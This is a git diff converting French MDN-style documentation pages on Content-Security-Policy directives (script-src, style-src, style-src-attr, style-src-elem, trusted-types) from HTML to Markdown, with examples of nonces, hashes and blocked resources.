-</script></pre> +</script> +``` -<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués :</p> +Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués : -<pre class="brush: bash">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre> +```bash +Content-Security-Policy: script-src 'nonce-2726c7f26c' +``` -<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} :</p> +Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} : -<pre class="brush: html"><script nonce="2726c7f26c"> +```html +<script nonce="2726c7f26c"> var inline = 1; -</script></pre> +</script> +``` -<p>Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512.</p> +Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512. -<pre class="brush: bash">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre> +```bash +Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8=' +``` -<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p> +Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). -<pre class="brush: html"><script>var inline = 1;</script></pre> +```html +<script>var inline = 1;</script> +``` -<h3 id="Expressions_dévaluation_non_fiables">Expressions d'évaluation non fiables</h3> +### Expressions d'évaluation non fiables -<p>La valeur <code>'unsafe-eval'</code> contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>script-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p> +La valeur `'unsafe-eval'` contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si `'unsafe-eval'` n'est pas spécifiée avec la directive `script-src`, ces méthodes seront bloquées et n'auront aucun effet : -<ul> - <li>{{jsxref("eval", "eval()")}}</li> - <li>{{jsxref("Function", "Function()")}}</li> - <li>En passant une chaine à des méthodes tel que : <code>window.setTimeout("alert(\"Hello World!\");", 500);</code> - <ul> - <li>{{domxref("window.setTimeout")}}</li> - <li>{{domxref("window.setInterval")}}</li> - <li>{{domxref("window.setImmediate")}}</li> - </ul> - </li> - <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE10 et versions précédentes)</li> -</ul> +- {{jsxref("eval", "eval()")}} +- {{jsxref("Function", "Function()")}} +- En passant une chaine à des méthodes tel que : `window.setTimeout("alert(\"Hello World!\");", 500);` -<h3 id="strict-dynamic">strict-dynamic</h3> + - {{domxref("window.setTimeout")}} + - {{domxref("window.setInterval")}} + - {{domxref("window.setImmediate")}} -<p>La valeur <code>'strict-dynamic'</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que <code>'self'</code> ou <code>'unsafe-inline'</code> sont ignorées. Par exemple, une règle telle que <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> autoriserait le chargement de scripts comme <code><script nonce="R4nd0m" src="https://example.com/loader.js"></code> et s'appliquerait ensuite à tous les scripts chargés par <code>loader.js</code>, mais interdirait les scripts chargés depuis <code>https://whitelisted.com/</code> à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance.</p> +- {{domxref("window.execScript")}} {{non-standard_inline}} (IE10 et versions précédentes) -<pre class="brush: bash">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre> +### strict-dynamic -<p><em>Ou</em></p> +La valeur `'strict-dynamic'` spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que `'self'` ou `'unsafe-inline'` sont ignorées. Par exemple, une règle telle que `script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/` autoriserait le chargement de scripts comme `<script nonce="R4nd0m" src="https://example.com/loader.js">` et s'appliquerait ensuite à tous les scripts chargés par `loader.js`, mais interdirait les scripts chargés depuis `https://whitelisted.com/` à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance. -<pre class="brush: bash">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre> +```bash +script-src 'strict-dynamic' 'nonce-someNonce' +``` -<p>Il est possible de déployer <code>strict-dynamic</code> de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive :</p> +_Ou_ -<pre class="brush: bash">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre> +```bash +script-src 'strict-dynamic' 'sha256-base64EncodedHash' +``` -<p>fonctionnera comme <code>'unsafe-inline' https:</code> pour les navigateurs supportant CSP1, <code>https: 'nonce-abcdefg'</code> pour ceux supportant CSP2 et comme <code>'nonce-abcdefg' 'strict-dynamic'</code> pour ceux supportant CSP3.</p> +Il est possible de déployer `strict-dynamic` de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive : -<h2 id="Spécifications">Spécifications</h2> +```bash +script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' +``` -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> +fonctionnera comme `'unsafe-inline' https:` pour les navigateurs supportant CSP1, `https: 'nonce-abcdefg'` pour ceux supportant CSP2 et comme `'nonce-abcdefg' 'strict-dynamic'` pour ceux supportant CSP3. -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Spécifications +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | ------------------- | +| {{specName("CSP 3.0", "#directive-script-src", "script-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-script-src", "script-src")}} | {{Spec2('CSP 1.1')}} | Initial definition. | +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.script-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("script")}}</li> - <li>{{CSP("script-src-elem")}}</li> - <li>{{CSP("script-src-attr")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("script")}} +- {{CSP("script-src-elem")}} +- {{CSP("script-src-attr")}} diff --git a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md index efe3b11c9a..3515d5b09f 100644 --- a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md +++ b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.md @@ -16,82 +16,70 @@ tags: - style-src-attr translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-attr --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-attr</code></strong> spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`style`\*\***`-src-attr`\*\* spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut `style`. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td> - <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + <p> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive {{CSP("style-src")}}, qui a pour valeur par défaut + celle de la directive <code>default-src</code> + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: style-src-attr <source>; -Content-Security-Policy: style-src-attr <source> <source>; -</pre> + Content-Security-Policy: style-src-attr <source>; + Content-Security-Policy: style-src-attr <source> <source>; -<p><code>style-src-attr</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p> +`style-src-attr` peut être utilisée conjointement à {{CSP("style-src")}} : -<pre>Content-Security-Policy: <code>style</code>-src <source>; -Content-Security-Policy: <code>style</code>-src-attr <source>;</pre> + Content-Security-Policy: style-src <source>; + Content-Security-Policy: style-src-attr <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<dl> - <dt>'report-sample'</dt> - <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> -</dl> +- 'report-sample' + - : Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-style-src-attr", "style-src-attr")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.style-src-attr")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{CSP("style-src")}}</li> - <li>{{CSP("style-src-elem")}}</li> - <li>{{HTTPHeader("Link")}} header</li> - <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> - <li>{{cssxref("@import")}}</li> - <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> - <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> - <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{CSP("style-src")}} +- {{CSP("style-src-elem")}} +- {{HTTPHeader("Link")}} header +- {{HTMLElement("style")}}, {{HTMLElement("link")}} +- {{cssxref("@import")}} +- {{domxref("CSSStyleSheet.insertRule()")}} +- {{domxref("CSSGroupingRule.insertRule()")}} +- {{domxref("CSSStyleDeclaration.cssText")}} diff --git a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md index ae88af89c0..8ffa4d482e 100644 --- a/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md +++ b/files/fr/web/http/headers/content-security-policy/style-src-elem/index.md @@ -16,82 +16,70 @@ tags: - style-src-elem translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-elem --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-elem</code></strong> spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut <code>rel="stylesheet"</code>.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`style`\*\***`-src-elem`\*\* spécifie les sources valides pour les feuilles de styles embarquées avec l'élément {{HTMLElement("style")}} et pour l'élément {{HTMLElement("link")}} avec l'attribut `rel="stylesheet"`. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>3</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td> - <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p> - </td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>3</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + <p> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive {{CSP("style-src")}}, qui a pour valeur par défaut + celle de la directive <code>default-src</code> + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: style-src-elem <source>; -Content-Security-Policy: style-src-elem <source> <source>; -</pre> + Content-Security-Policy: style-src-elem <source>; + Content-Security-Policy: style-src-elem <source> <source>; -<p><code>style-src-elem</code> peut être utilisée conjointement à {{CSP("style-src")}} :</p> +`style-src-elem` peut être utilisée conjointement à {{CSP("style-src")}} : -<pre>Content-Security-Policy: <code>style</code>-src <source>; -Content-Security-Policy: <code>style</code>-src-elem <source>;</pre> + Content-Security-Policy: style-src <source>; + Content-Security-Policy: style-src-elem <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<dl> - <dt>'report-sample'</dt> - <dd>Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé.</dd> -</dl> +- 'report-sample' + - : Requiert qu'un échantillon du code violant la directive soit inclus dans le rapport envoyé. -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}}</td> - <td>{{Spec2("CSP 3.0")}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Spécification | Statut | Commentaire | +| -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-style-src-elem", "style-src-elem")}} | {{Spec2("CSP 3.0")}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.style-src-elem")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{CSP("style-src")}}</li> - <li>{{CSP("style-src-attr")}}</li> - <li>{{HTTPHeader("Link")}} header</li> - <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> - <li>{{cssxref("@import")}}</li> - <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> - <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> - <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{CSP("style-src")}} +- {{CSP("style-src-attr")}} +- {{HTTPHeader("Link")}} header +- {{HTMLElement("style")}}, {{HTMLElement("link")}} +- {{cssxref("@import")}} +- {{domxref("CSSStyleSheet.insertRule()")}} +- {{domxref("CSSGroupingRule.insertRule()")}} +- {{domxref("CSSStyleDeclaration.cssText")}} diff --git a/files/fr/web/http/headers/content-security-policy/style-src/index.md b/files/fr/web/http/headers/content-security-policy/style-src/index.md index a8fa19ef1c..60d4956741 100644 --- a/files/fr/web/http/headers/content-security-policy/style-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/style-src/index.md @@ -15,167 +15,165 @@ tags: - style-src translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>style-src</code></strong> spécifie les sources valides pour des feuilles de style.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`style-src`** spécifie les sources valides pour des feuilles de style. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} fallback</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: style-src <source>; -Content-Security-Policy: style-src <source> <source>; -</pre> + Content-Security-Policy: style-src <source>; + Content-Security-Policy: style-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: style-src https://example.com/</pre> +```bash +Content-Security-Policy: style-src https://example.com/ +``` -<p>Ces feuilles de style seront bloquées et ne se chargeront pas :</p> +Ces feuilles de style seront bloquées et ne se chargeront pas : -<pre class="brush: html"><link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> +```html +<link href="https://not-example.com/styles/main.css" rel="stylesheet" type="text/css" /> -<style> +<style> #inline-style { background: red; } -</style> +</style> -<style> +<style> @import url("https://not-example.com/styles/print.css") print; -</style></pre> +</style> +``` -<p>De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} :</p> +De même que les styles chargés avec l'en-tête {{HTTPHeader("Link")}} : -<pre class="brush: bash">Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet -</pre> +```bash +Link: <https://not-example.com/styles/stylesheet.css>;rel=stylesheet +``` -<p>Les attributes de style seront aussi bloqués :</p> +Les attributes de style seront aussi bloqués : -<pre class="brush: html"><div style="display:none">Foo</div></pre> +```html +<div style="display:none">Foo</div> +``` -<p>De même que les styles ajoutés par JavaScript en définissant l'attribut <code>style</code> directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} :</p> +De même que les styles ajoutés par JavaScript en définissant l'attribut `style` directement, ou en définissant la propriété {{domxref("CSSStyleDeclaration.cssText", "cssText")}} : -<pre class="brush: js">document.querySelector('div').setAttribute('style', 'display:none;'); -document.querySelector('div').style.cssText = 'display:none;';</pre> +```js +document.querySelector('div').setAttribute('style', 'display:none;'); +document.querySelector('div').style.cssText = 'display:none;'; +``` -<p>Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript :</p> +Toutefois, les propriétés de styles qui sont définies directement dans l'attribut {{domxref("HTMLElement.style", "style")}} ne seront pas bloquées, permettant aux utilisateurs de manipuler sainement les styles avec JavaScript : -<pre class="brush: js">document.querySelector('div').style.display = 'none';</pre> +```js +document.querySelector('div').style.display = 'none'; +``` -<p>Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}.</p> +Ce genre de manipulations peut être bloqué en désactivant JavaScript au moyen de la directive CSP {{CSP("script-src")}}. -<h3 id="Styles_embarqués_non_fiables">Styles embarqués non fiables</h3> +### Styles embarqués non fiables -<div class="note"> -<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p> -</div> +> **Note :** Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser. -<p>Vous pouvez autoriser les styles embarqués en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant à la feuille de style.</p> +Vous pouvez autoriser les styles embarqués en spécifiant la valeur `'unsafe-inline'`, des nonces ou des hashs correspondant à la feuille de style. -<pre class="brush: bash">Content-Security-Policy: style-src 'unsafe-inline'; -</pre> +```bash +Content-Security-Policy: style-src 'unsafe-inline'; +``` -<p>Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut <code>style</code> sur tous les éléments :</p> +Cette directive CSP autorisera toutes les feuilles de styles embarquées telles que l'élément {{HTMLElement("style")}} et l'attribut `style` sur tous les éléments : -<pre class="brush: html"><style> +```html +<style> #inline-style { background: red; } -</style> +</style> -<div style="display:none">Foo</div> -</pre> +<div style="display:none">Foo</div> +``` -<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} :</p> +Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("style")}} : -<pre class="brush: bash">Content-Security-Policy: style-src 'nonce-2726c7f26c'</pre> +```bash +Content-Security-Policy: style-src 'nonce-2726c7f26c' +``` -<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} :</p> +Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("style")}} : -<pre class="brush: html"><style nonce="2726c7f26c"> +```html +<style nonce="2726c7f26c"> #inline-style { background: red; } -</style></pre> - -<p>Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512.</p> - -<pre class="brush: bash">Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f'</pre> - -<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p> - -<pre class="brush: html"><style>#inline-style { background: red; }</style></pre> - -<h3 id="Style_non_fiables">Style non fiables</h3> - -<p>La valeur <code>'unsafe-eval'</code> contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>style-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p> - -<ul> - <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> - <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> - <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> -</ul> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-style-src", "style-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-style-src", "style-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +</style> +``` + +Autrement, vous pourrez créer des hashs à partir de vos feuilles de styles. CSP accepte les algorithmes sha256, sha384 et sha512. + +```bash +Content-Security-Policy: style-src 'sha256-a330698cbe9dc4ef1fb12e2ee9fc06d5d14300262fa4dc5878103ab7347e158f' +``` + +Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.). + +```html +<style>#inline-style { background: red; }</style> +``` + +### Style non fiables + +La valeur `'unsafe-eval'` contrôle différente méthodes de mise en page qui créent des déclarations de style à partir de chaines de caractères. Si `'unsafe-eval'` n'est pas spécifiée avec la directive `style-src`, ces méthodes seront bloquées et n'auront aucun effet : + +- {{domxref("CSSStyleSheet.insertRule()")}} +- {{domxref("CSSGroupingRule.insertRule()")}} +- {{domxref("CSSStyleDeclaration.cssText")}} -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Spécifications +| Specification | Status | Comment | +| -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-style-src", "style-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-style-src", "style-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.style-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.style-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{CSP("style-src-elem")}}</li> - <li>{{CSP("style-src-attr")}}</li> - <li>{{HTTPHeader("Link")}} header</li> - <li>{{HTMLElement("style")}}, {{HTMLElement("link")}}</li> - <li>{{cssxref("@import")}}</li> - <li>{{domxref("CSSStyleSheet.insertRule()")}}</li> - <li>{{domxref("CSSGroupingRule.insertRule()")}}</li> - <li>{{domxref("CSSStyleDeclaration.cssText")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{CSP("style-src-elem")}} +- {{CSP("style-src-attr")}} +- {{HTTPHeader("Link")}} header +- {{HTMLElement("style")}}, {{HTMLElement("link")}} +- {{cssxref("@import")}} +- {{domxref("CSSStyleSheet.insertRule()")}} +- {{domxref("CSSGroupingRule.insertRule()")}} +- {{domxref("CSSStyleDeclaration.cssText")}} diff --git a/files/fr/web/http/headers/content-security-policy/trusted-types/index.md b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md index f1c5d12b6d..dd9d6cd0e5 100644 --- a/files/fr/web/http/headers/content-security-policy/trusted-types/index.md +++ b/files/fr/web/http/headers/content-security-policy/trusted-types/index.md @@ -12,78 +12,59 @@ tags: - trusted-types translation_of: Web/HTTP/Headers/Content-Security-Policy/trusted-types --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>trusted-types</strong></code> {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères).</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`trusted-types`** {{experimental_inline}} informe l'agent utilisateur qu'il faut restreindre la création de règles Trusted Types (fonctions qui créent des valeurs typées non falsifiables, dans le but de les passer au puits XSS du DOM au lieu de chaines de caractères). -<p>Conjointement à la directive <a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for"><code>require-trusted-types-for</code></a>, cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec <code>TrustedTypes.createPolicy</code> à partir de l'API Trusted Types.</p> +Conjointement à la directive [`require-trusted-types-for`](/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for), cette directive permet aux auteurs de définir des règles empêchant d'injecter des données dans le DOM et donc de réduire la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture. Cette directive déclare une liste de permissions de noms de règles de Trusted Types créée avec `TrustedTypes.createPolicy` à partir de l'API Trusted Types. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre>Content-Security-Policy: trusted-types; -Content-Security-Policy: trusted-types 'none'; -Content-Security-Policy: trusted-types <policyName>; -Content-Security-Policy: trusted-types <policyName> <policyName> 'allow-duplicates'; -</pre> + Content-Security-Policy: trusted-types; + 